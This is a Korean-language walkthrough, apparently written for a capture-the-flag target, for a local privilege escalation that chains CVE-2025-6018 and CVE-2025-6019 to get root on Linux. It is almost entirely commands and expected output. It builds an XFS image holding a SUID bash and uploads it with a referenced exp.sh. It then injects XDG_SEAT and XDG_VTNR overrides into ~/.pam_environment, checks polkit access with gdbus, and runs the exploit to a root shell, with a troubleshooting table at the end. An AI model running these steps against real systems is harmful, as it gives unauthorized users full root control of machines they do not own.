
CVE-2025-6018 및 CVE-2025-6019를 대상으로 XFS 이미지 조작과 PAM 환경 변수 주입을 통해 Linux 시스템에서 루트 권한을 획득하는 단계별 권한 상승 익스플로잇
# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image
# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt
# Verify (should show 300M)
ls -lh xfs.image
# Upload exploit script and image
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/
# SSH login to target
ssh [email protected]
# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
# Verify configuration
cat ~/.pam_environment
# 🔥 Critical: Logout (to activate PAM config)
exit
# Re-login via SSH (PAM config now active)
ssh [email protected]
# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# Execute privilege escalation script
bash exp.sh
익스플로잇에 성공하면 다음과 같은 출력이 나타납니다:
✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!
════════════════════════════════════════════════════════════
║ ROOT FLAG ║
║ <flag_here> ║
════════════════════════════════════════════════════════════
bash-5.2# whoami
root
| 문제 | 해결 방법 |
|---|---|
CanReboot가 ('no',)를 반환 | 3단계에서 로그아웃 후 다시 로그인했는지 확인 |
| 오류 |
('yes',)가 반환되는지 확인하세요ssh -t user@host "cmd" 방식의 실행은 사용하지 마세요실패할 경우, 모든 단계가 엄격한 순서로 실행되었는지 확인하세요!
Not authorized~/.pam_environment 내용이 정확한지 확인 |
| SUID bash를 찾을 수 없음 | xfs.image를 다시 업로드하고 SUID 비트가 설정되었는지 확인 |